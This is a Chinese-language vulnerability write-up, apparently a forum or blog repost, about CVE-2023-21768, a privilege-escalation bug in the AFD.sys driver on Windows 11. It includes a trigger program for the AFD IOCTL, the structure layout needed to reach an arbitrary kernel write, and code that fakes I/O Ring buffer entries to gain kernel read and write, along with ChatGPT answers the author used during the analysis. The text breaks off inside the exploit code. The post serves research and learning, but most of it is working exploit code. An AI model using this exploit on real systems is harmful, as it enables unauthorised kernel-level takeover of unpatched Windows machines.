CVE-2023-21768 Windows内核提权漏洞
2023-4-27 17:48:16 Author: bbs.pediy.com(查看原文) 阅读量:50 收藏

对最近的一个Windows提权洞进行分析,漏洞点不是很难,相比于之前分析的CVE-2021-1732,过程还简单一些,主要是学习I/O Ring这种读写原语,感觉后续微软可能会对I/O Ring的预注册输出缓冲区进行一些调整修改。还有就是分析过程中,结合chatGPT,感觉是一个不错的方法。

镜像下载:ed2k://|file|zh-cn_windows_11_consumer_editions_version_22h2_updated_nov_2022_x64_dvd_2c7e96c3.iso|5673539584|EB8FF2B481BB6AFE71B2784C6485733B|/

安装镜像就不用多说,网上教程很多,这里需要注意的是exp的编译,由于提权过程中使用到的某些技术,我们需要Visual Studio 2022,并且安装较高版本的win11 SDK,我这里是Windows 11 SDK (10.0.22621.0)

1

2

3

4

5

6

7

8

AFD.sys是Windows操作系统中的一个系统文件,是关于网络协议的文件,主要负责Winsock核心服务的实现和运行。Winsock是Windows下网络协议的一个API,通过它应用程序可以访问网络,AFD.sys则是其中实现的核心服务。具体来说,它提供了以下功能:

1. 网络数据的传输和接收;

2. 网络套接字的创建、连接、监听等操作;

3. 实现了对TCP/IP和UDP/IP等网络协议的支持;

4. 管理和维护网络缓存。

简而言之,AFD.sys是Windows网络协议栈的一个核心部分,负责管理和协调网络通信的各项操作。

根据后面的分析来看,简单讲就是AFD.sys的一个函数afd!AfdNotifyRemoveIoCompletion中出现了漏洞,存在我们可控制的变量,并且还有赋值操作,当我们构造的变量是一个地址的话,就可以将想设置的值赋值到对应的地址空间中,当然想进一步利用,实现提权,还需要其他的技术。

要利用这个漏洞,首先我们需要知道如何到达漏洞点,通过交叉引用,可以发现调用链是这样的AfdFastIoDeviceControl-->AfdNotifySock-->AfdNotifyRemoveIoCompletion()

关键是搞懂AfdFastIoDeviceControl-->AfdNotifySock,我们对AfdNotifySock进行交叉引用,会发现两个表,AfdImmediateCallDispatchAfdIrpCallDispatch,这两个表里面的函数都是AFD驱动程序的调度函数。
4.png

接着对AfdImmediateCallDispatch进行交叉引用,我们将在AfdFastIoDeviceControl()函数中看到下面的代码,实际上对AfdIrpCallDispatch进行交叉引用,也会在其对应的函数看到类似的代码。
5.png

所以我们可以通过代码中的AfdIoctlTable去获取自定义的控制信号,前面我们已经知道AfdNotifySockAfdImmediateCallDispatch表中的下标是73,通过下面的图片可以知道对应的控制信号是12127h。
6.png

庆幸的是x86matthew(一直比较关注的一个国外师傅,经常发布一些创新性的代码)曾经发布了一些代码,其原本是绕过Winsock的API函数,采用NtCreateFile和NtDeviceIoControlFile来进行AFD驱动程序通信,目的为了网络通信的隐蔽性,不容易被检测,但是我们可以借鉴里面的一些代码,方便我们调试AfdIoctlTable,了解如何触发漏洞。

编写的测试代码如下,由于我们不知道传入数据是啥,所以直接传入一些字符串AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

struct IO_STATUS_BLOCK

{

    union

    {

        DWORD Status;

        PVOID Pointer;

    };

    DWORD* Information;

};

struct UNICODE_STRING

{

    USHORT Length;

    USHORT MaximumLength;

    PWSTR Buffer;

};

struct OBJECT_ATTRIBUTES

{

    ULONG Length;

    HANDLE RootDirectory;

    UNICODE_STRING* ObjectName;

    ULONG Attributes;

    PVOID SecurityDescriptor;

    PVOID SecurityQualityOfService;

};

DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);

DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

int main()

{

    // get NtDeviceIoControlFile function ptr

    NtDeviceIoControlFile = (unsigned long(__stdcall*)(void*, void*, void*, void*, struct IO_STATUS_BLOCK*, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDeviceIoControlFile");

    if (NtDeviceIoControlFile == NULL)

    {

        return 1;

    }

    // get NtCreateFile function ptr

    NtCreateFile = (unsigned long(__stdcall*)(void**, unsigned long, struct OBJECT_ATTRIBUTES*, struct IO_STATUS_BLOCK*, union _LARGE_INTEGER*, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateFile");

    if (NtCreateFile == NULL)

    {

        return 1;

    }

    IO_STATUS_BLOCK IoStatusBlock;

    HANDLE hEvent = NULL;

    HANDLE hSocket = NULL;

    OBJECT_ATTRIBUTES ObjectAttributes;

    UNICODE_STRING ObjectFilePath;

    DWORD dwStatus = 0;

    BYTE bExtendedAttributes[] =

    {

        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,

        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE

    };

    char Data[0x30] = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL";

    // create status event

    hEvent = CreateEvent(NULL, 0, 0, NULL);

    if (hEvent == NULL)

    {

        // error

        return 1;

    }

    // set afd endpoint path

    memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));

    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";

    ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);

    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    // initialise object attributes

    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));

    ObjectAttributes.Length = sizeof(ObjectAttributes);

    ObjectAttributes.ObjectName = &ObjectFilePath;

    ObjectAttributes.Attributes = 0x40;

    // create socket handle

    IoStatusBlock.Status = 0;

    IoStatusBlock.Information = NULL;

    dwStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));

    if (dwStatus != 0)

    {

        // error

        CloseHandle(hEvent);

        return 1;

    }

    /*

    __kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(

      [in]            HANDLE           FileHandle,

      [in, optional]  HANDLE           Event,

      [in, optional]  PIO_APC_ROUTINE  ApcRoutine,

      [in, optional]  PVOID            ApcContext,

      [out]           PIO_STATUS_BLOCK IoStatusBlock,

      [in]            ULONG            IoControlCode,

      [in, optional]  PVOID            InputBuffer,

      [in]            ULONG            InputBufferLength,

      [out, optional] PVOID            OutputBuffer,

      [in]            ULONG            OutputBufferLength

    );

    */

    NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);

    if (INVALID_HANDLE_VALUE != hSocket)

    {

        CloseHandle(hSocket);

    }

    if (NULL != hEvent)

    {

        CloseHandle(hEvent);

    }

}

1

2

3

4

5

6

7

if ( InputBufferLength != 0x30 || OutputBufferLength )

{

  v10 = 0xC0000004;

  goto LABEL_45;                              // bad

}

if ( OutputBuffer )

  goto LABEL_5;                               // bad

继续调试,发现对InputBuffer的一些值进行了判断,并且将*(void **)_InputBuffer传入了 ObReferenceObjectByHandle()函数。
8.png

1

2

3

4

5

6

7

8

9

10

11

12

13

  if ( !*(_DWORD *)(*(_QWORD *)&_InputBuffer + 32i64) )

    goto bad1;

  if ( *(_DWORD *)(*(_QWORD *)&_InputBuffer + 0x28i64) )

  {

    if ( !*(_QWORD *)(*(_QWORD *)&_InputBuffer + 24i64) || !*(_QWORD *)(*(_QWORD *)&_InputBuffer + 16i64) )

      goto bad1;

  }

  else if ( *(_QWORD *)(*(_QWORD *)&_InputBuffer + 16i64) || *(_DWORD *)(*(_QWORD *)&_InputBuffer + 36i64) )

  {

bad1:

    ret = 0xC000000D;

    goto bad;

  }

所以我们需要对InputBuffer的一些值进行设置,最好是搞个结构体,通过整个函数中出现InputBuffer,可得到下面的结构体,我们可以将其导入ida,让伪代码更加清晰。

1

2

3

4

5

6

7

8

9

10

11

typedef struct AFD_NOTIFYSOCK_DATA

{

    HANDLE HandleIoCompletion;

    PVOID pData1;

    PVOID pData2;

    PVOID pPwnPtr;

    DWORD dwCounter;

    DWORD dwTimeout;

    DWORD dwLen;

    char lol[0x4];

}AFD_NOTIFYSOCK_DATA;

绕过if的一些值的判断是简单的,重点是如何绕过ObReferenceObjectByHandle(),其返回值必须>=0,这里可以去问问chatGPT,大部分情况下,可以提供非常有效的帮助。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

问:如果第三个参数是IoCompletionObjectType呢 这个对象类型的句柄可以调用什么函数来创建

答:IO完成对象是Windows内核中的一种同步机制,它用于通知应用程序有关操作完成的消息。IO完成对象是由操作系统内核自动创建和管理的,因此没有专门的函数来创建它们。在Windows操作系统中,可以使用CreateIoCompletionPort函数将IO完成端口与文件句柄关联,从而将IO操作通知到IO完成对象中。关联之后,可以使用GetQueuedCompletionStatus函数等待IO完成对象,以获取IO操作完成的状态和相关数据。因此,IO完成对象的句柄实际上是IO完成端口的句柄,可以使用CreateIoCompletionPort函数创建。

CreateIoCompletionPort是Win32 API之一,底层实现是由Windows内核的NTOSKRNL.EXE模块提供支持,具体实现可参考Windows Driver Kit(WDK)提供的内核模式驱动开发文档。其底层函数是NtCreateIoCompletion,该函数是内核发起IO请求的函数之一,用于创建IO完成端口对象并返回其句柄。它的定义如下:

```C

NTSYSAPI

NTSTATUS

NTAPI

NtCreateIoCompletion(

_Out_ PHANDLE IoCompletionHandle,

_In_ ACCESS_MASK DesiredAccess,

_In_ POBJECT_ATTRIBUTES ObjectAttributes,

_In_ ULONG NumberOfConcurrentThreads

);

```

其中,

- IoCompletionHandle:用于返回IO完成端口对象的句柄。

- DesiredAccess:指定IO完成端口对象的访问权限。

- ObjectAttributes:用于指定IO完成端口对象的名称及其属性。

- NumberOfConcurrentThreads:指定IO请求的并发线程数。

OK,根据其回答来看,应该是可以通过CreateIoCompletionPort或者NtCreateIoCompletion函数来创建有效的IO完成对象的句柄,从而绕过ObReferenceObjectByHandle()

然后就可以到达AfdNotifyRemoveIoCompletion()了,其参数是一个数,IoCompletionObject,InputBuffer,目前我们的Data如下,Data.pData2 还未出现,4byte,目前来说不为空即可,但是根据结构体的定义,将其设置为一个地址。

1

2

3

4

5

6

Data.HandleIoCompletion = hCompletion;

Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

Data.pData2 = &test; //一个地址

Data.dwCounter = 0x1;

Data.dwLen = 0x1;

Data.pPwnPtr = &test;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

`IoRemoveIoCompletion`是Windows Driver Kit(WDK)提供的函数,用于将已完成的I/O操作从I/O完成端口的完成队列中移除并返回。

该函数的原型如下:

```c

NTSTATUS IoRemoveIoCompletion(

HANDLE CompletionPortHandle,

PVOID *KeyContext,

PVOID *ApcContext,

PIO_STATUS_BLOCK IoStatusBlock,

PLARGE_INTEGER Timeout

);

```

其中,参数的含义如下:

- `CompletionPortHandle`:对应I/O完成端口的句柄。

- `KeyContext`:指向指针的指针,用于获取与已完成I/O操作相关联的关键上下文。

- `ApcContext`:指向指针的指针,用于获取与已完成I/O操作相关联的应用程序上下文。

- `IoStatusBlock`:指向`IO_STATUS_BLOCK`结构的指针,用于获取已完成I/O操作的状态信息。

- `Timeout`:可选参数,指向`LARGE_INTEGER`结构的指针,用于指定函数等待的超时时间。如果为`NULL`,函数将不会等待,并立即返回。

该函数用于从I/O完成端口的完成队列中删除已完成的I/O操作并获取相关信息,以便驱动程序进行后续处理,例如通知相关进程/线程或启动下一轮I/O操作。

需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。

1

2

3

4

5

6

7

8

9

10

11

12

问:如何向I/O完成端口的完成队列中添加已完成的I/O操作,有那些函数

答:

在Windows平台下,如果您想要向I/O完成端口的完成队列中添加已完成的I/O操作,您可以使用以下函数:

1. `NtSetIoCompletion`:该函数是Windows系统调用之一,可将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于用户模式程序使用的I/O完整端口。

2. `IoSetIoCompletion`:该函数是Windows驱动程序开发包(WDK)中的一部分,与`NtSetIoCompletion`函数相似。驱动程序可以使用该函数将I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于驱动程序中使用的I/O完整端口。

这两个函数的作用类似,它们都用于将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。这些函数调用后,I/O管理器将在IRP的调用线程上调用已完成I/O请求的完成例程。

需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

NtSetIoCompletion 是 Windows 操作系统内核中的一个函数,用于向 I/O 完成端口的完成队列中添加一个 I/O 完成包。该函数通常在内核模式下使用,用于驱动程序或其他内核组件实现异步 I/O 操作。

NtSetIoCompletion 函数的原型如下:

scss

Copy code

NTSTATUS NtSetIoCompletion(

  HANDLE        CompletionPortHandle,

  ULONG_PTR     CompletionKey,

  PVOID         CompletionContext,

  NTSTATUS      Status,

  ULONG_PTR     Information

);

该函数的输入参数包括:

CompletionPortHandle:I/O 完成端口的句柄。

CompletionKey:一个与已完成的 I/O 操作相关联的键值,由驱动程序在创建完成端口时指定。

CompletionContext:一个指向完成操作的上下文数据结构的指针,包含有关已完成的 I/O 操作的信息。

Status:已完成操作的状态,通常是一个 NTSTATUS 类型的值。

Information:与已完成的 I/O 操作相关的信息,通常是一个 ULONG_PTR 类型的值。

NtSetIoCompletion 函数的返回值是 NTSTATUS 类型的错误代码,如果操作成功完成,则返回 STATUS_SUCCESS。

使用 NtSetIoCompletion 函数将完成包添加到 I/O 完成端口的完成队列中后,可以使用 IoRemoveIoCompletion 函数从队列中取出完成包并处理已完成的 I/O 操作。这种机制使得驱动程序或其他内核组件能够实现异步 I/O 操作,从而提高系统的响应速度和性能。

1

2

3

4

5

6

7

8

9

10

NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);

NtSetIoCompletion(hCompletion, 0, &IoStatusBlock, 0, 0x100);

Data.HandleIoCompletion = hCompletion;

Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

Data.dwCounter = 0x1;

Data.dwLen = 0x1;

Data.dwTimeout = 1000;

Data.pPwnPtr = &test;

目前已经解决了关于如何到达漏洞点的问题,但是如何设置我们想要的值呢,根据afd!AfdNotifyRemoveIoCompletion的分析来看,貌似writevalue是由IoRemoveIoCompletion这个函数来决定的,所以我们需要对这个函数进行分析。

这个函数的作用是让等待队列中的线程或进程不再等待,可以继续执行。如果函数成功地将线程或进程从等待队列中移除,则返回不为0的值;否则,返回0。需要注意的是,一旦线程或进程从等待队列中移除,它的状态会发生变化,后续操作需要根据具体情况而定。

在阅读完相关的资料后,可以感受到Yarden Shafir花费了大量的时间到I/O Ring的逆向研究中,下面我将以简略的方式,讲述下这个技术的原理,由于本人技术有限,如有错误,请谅解。

每一个NT_IORING_SQE,都代表着一个I/O操作,目前支持的I/O操作如下,这些操作都会有一个操作码,可通过逆向工程获取,ioringapi.h头文件也包含了。

此技术使用的就是预注册输出缓冲区文件读写,其设计到的函数有BuildIoRingReadFile(),BuildIoRingRegisterBuffers(),BuildIoRingWriteFile(),如果想去了解其他的操作,可以自己根据文档编写相应的代码去学习。

这里我为了更好的理解原理,我打算编写一个正常使用API函数实现预注册输出缓冲区文件读写的代码,然后和不正常的方法进行对比,根据文档以及chatGPT,编写了相应功能的代码,实现了两个功能

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

HIORING handle = NULL;

void RegisterBuffersfileReadWrite()

{

    HRESULT result;

    IORING_CREATE_FLAGS flags;

    IORING_BUFFER_INFO *buffers;

    unsigned int count=2;

    UINT32 submittedEntries;

    //创建一个IORING

    flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;

    flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, &handle);

    if (!SUCCEEDED(result))

    {

        printf("Failed creating IO ring handle: 0x%x\n", result);

        return;

    }

    //预注册输出缓冲区,两个

    buffers=(IORING_BUFFER_INFO*)VirtualAlloc(NULL, sizeof(IORING_BUFFER_INFO) * count, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    buffers[0].Address = (void*)VirtualAlloc(NULL, 0x20, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    buffers[0].Length = 0x20;

    buffers[1].Address = (void*)VirtualAlloc(NULL, 0x10, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    memcpy(buffers[1].Address, "ABC", 0x3);

    buffers[1].Length = 0x10;

    BuildIoRingRegisterBuffers(handle,2, buffers, 0);

    //获取文件句柄

    HANDLE hFile = CreateFile("C:\\Users\\25077\\Desktop\\test\\ioRing.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {

        printf("Failed to open file. Error code: %d\n", GetLastError());

        return;

    }

    IORING_HANDLE_REF requestDataFile=IoRingHandleRefFromHandle(hFile);

    //用第一个来读

    IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);

    result = BuildIoRingReadFile(handle,requestDataFile, requestDataBuffer, 0x10, 0,NULL, IOSQE_FLAGS_NONE);

    if (!SUCCEEDED(result))

    {

        printf("Failed building IO ring read file structure: 0x%x\n", result);

        return;

    }

    //用第二个来写

    requestDataBuffer = IoRingBufferRefFromIndexAndOffset(1, 0);

    result = BuildIoRingWriteFile(handle, requestDataFile, requestDataBuffer, 0x10, 0x3, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);

    if (!SUCCEEDED(result))

    {

        printf("Failed building IO ring Write file structure: 0x%x\n", result);

        return;

    }

    //提交

    result = SubmitIoRing(handle, 0, 0, 0);

    if (!SUCCEEDED(result))

    {

        printf("Failed submitting IO ring: 0x%x\n", result);

        return;

    }

    //打印读取到的数据

    printf("%s", buffers[0].Address);

    if (handle != NULL)

    {

        CloseIoRing(handle);

    }

    if (hFile)

    {

        CloseHandle(hFile);

    }

    VirtualFree(buffers[0].Address, 0x20, MEM_RELEASE);

    VirtualFree(buffers[1].Address, 0x10, MEM_RELEASE);

}

int main()

{

    RegisterBuffersfileReadWrite();

}

接下来先看我们CreateIoRing创建IORING时,会创造的两个结构,这些都是Yarden Shafir通过逆向工程获取到的,我用chatGPT给参数注释了下。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

typedef struct _IORING_OBJECT

{

    USHORT Type;                                // 结构体类型

    USHORT Size;                                // 结构体大小

    NT_IORING_INFO UserInfo;                    // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息

    PVOID Section;                              // 内存映射文件Section对象的指针

    PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;// 存储IO请求的Submission Queue的指针

    PMDL CompletionQueueMdl;                    // 缓存Completion Queue的MDL的指针

    PNT_IORING_COMPLETION_QUEUE CompletionQueue;// 存储IO请求完成状态的Completion Queue的指针

    ULONG64 ViewSize;                           // 映射视图的大小

    ULONG InSubmit;                             // IO请求的数量

    ULONG64 CompletionLock;                     // 保护计数器的锁,在读取CQring时使用

    ULONG64 SubmitCount;                        // 已提交IO请求SQEs的数量

    ULONG64 CompletionCount;                    // 已完成的IO请求数量

    ULONG64 CompletionWaitUntil;                // 等待完成IO请求的时间,当完成请求缓存区被解锁时使用

    KEVENT CompletionEvent;                     // 内核事件,在IO请求完成时发出

    UCHAR SignalCompletionEvent;                // 是否使用信号量发出完成事件的标志

    PKEVENT CompletionUserEvent;                // 一个与CompletionEvent成分的用户事件。用户可以使用此事件来通知一个或多个等待线程,IO请求已完成。

    ULONG RegBuffersCount;                      // 注册的缓冲区数量

    PVOID RegBuffers;                           // 已注册的缓冲区列表的指针

    ULONG RegFilesCount;                        // (异步)读取操作所涉及的文件句柄的数量

    PVOID* RegFiles;                            // (异步)读取操作所涉及的文件句柄列表的指针

} IORING_OBJECT, *PIORING_OBJECT;

1

2

3

4

5

6

7

8

9

10

11

12

typedef struct _HIORING

{

    HANDLE handle;                          // IO环操作对象的句柄

    NT_IORING_INFO Info;                    // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息

    ULONG IoRingKernelAcceptedVersion;      // 内核支持的IO环版本号

    PVOID RegBufferArray;                   // 注册缓冲区的指针,用于注册IO缓冲区

    ULONG BufferArraySize;                  // 注册缓冲区的大小

    PVOID Unknown;                          // 未知指针,可能提供额外的信息

    ULONG FileHandlesCount;                 // IO环管理的文件句柄数量

    ULONG SubQueueHead;                     // IO环子队列的头部索引

    ULONG SubQueueTail;                     // IO环子队列的尾部索引

} _HIORING;

根据Yarden Shafir的研究发现,或许我们可以不调用BuildIoRingRegisterBuffers()去注册缓冲区,如果我们能直接控制注册缓冲区的指针(IoRing->RegBuffers)直接指向我们自己的一个假缓冲区,也可以被认为我们注册了缓冲区,然后再控制列表当中的Address地址为内核的地址,再结合读写文件,就可以做到任意内核地址读写,并且这种并不会被探测,如果缓冲区在注册时是安全的,然后复制到内核分配,那么当它们作为操作的一部分被引用时它们仍然是安全的,这些肯定都是逆向工程那些函数得出的结论,如果十分感兴趣,自己也可以逆着玩。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

typedef struct _IOP_MC_BUFFER_ENTRY

{

    USHORT Type;                            // 结构体类型

    USHORT Reserved;                        // 保留字段

    ULONG Size;                             // 结构体大小

    ULONG ReferenceCount;                   // 结构体引用计数

    ULONG Flags;                            // 标志位

    LIST_ENTRY GlobalDataLink;              // 全局数据链接列表

    PVOID Address;                          // 缓冲区的地址

    ULONG Length;                           // 缓冲区的长度

    CHAR AccessMode;                        // 缓冲区的访问模式

    ULONG MdlRef;                           // 缓冲区的MDL引用数

    PMDL Mdl;                               // 缓冲区的MDL

    KEVENT MdlRundownEvent;                 // 缓冲区的MDL结束事件

    PULONG64 PfnArray;                      // 物理页帧号数组的指针

    IOP_MC_BE_PAGE_NODE PageNodes[1];       // 物理页节点数组

} IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;

1

2

3

4

5

6

mcBufferEntry->Address = TargetAddress;

mcBufferEntry->Length = Length;

mcBufferEntry->Type = 0xc02;

mcBufferEntry->Size = 0x80; // 0x20 * (numberOfPagesInBuffer + 3)

mcBufferEntry->AccessMode = 1;

mcBufferEntry->ReferenceCount = 1;

然后我发现内核的这个缓冲区结构貌似和我们正常调用BuildIoRingRegisterBuffers()的不一样,前者是指针数组,后者是结构体数组,可能是内核和用户层有所区别吧。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)

{

    int ret = -1;

    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;

    ULONG ulBytes = 0;

    NTSTATUS ntStatus = STATUS_SUCCESS;

    while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)

    {

        if (pHandleInfo != NULL)

        {

            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);

        }

        else

        {

            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);

        }

    }

    if (ntStatus != STATUS_SUCCESS)

    {

        ret = ntStatus;

        goto done;

    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)

    {

        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle))

        {

            *ppObjAddr = pHandleInfo->Handles[i].Object;

            ret = 0;

            break;

        }

    }

done:

    if (NULL != pHandleInfo)

    {

        HeapFree(GetProcessHeap, 0, pHandleInfo);

    }

    return ret;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

BOOL Init_CVE_2023_21768()

{

    _NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");

    _NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");

    _NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");

    _NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");

    _NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if (_NtSetIoCompletion == NULL|| _NtDeviceIoControlFile == NULL|| _NtCreateFile == NULL|| _NtCreateIoCompletion == NULL)

    {

        printf("get function false ");

        return FALSE;

    }

    ioring_init(&pIoRing);

    File_init();

    FakeRegisterBuffers_init();

    TokenAddr_init();

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)

{

    int ret = -1;

    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;

    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);

    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);

    IORING_CQE cqe = { 0 };

    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry->Address = (PVOID)pWriteAddr;

    pMcBufferEntry->Length = ulWriteLen;

    pMcBufferEntry->Type = 0xc02;

    pMcBufferEntry->Size = 0x80;

    pMcBufferEntry->AccessMode = 1;

    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;

    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)

    {

        goto done;

    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)

    {

        goto done;

    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)

    {

        goto done;

    }

    if (0 != cqe.ResultCode)

    {

        ret = cqe.ResultCode;

        goto done;

    }

    ret = 0;

done:

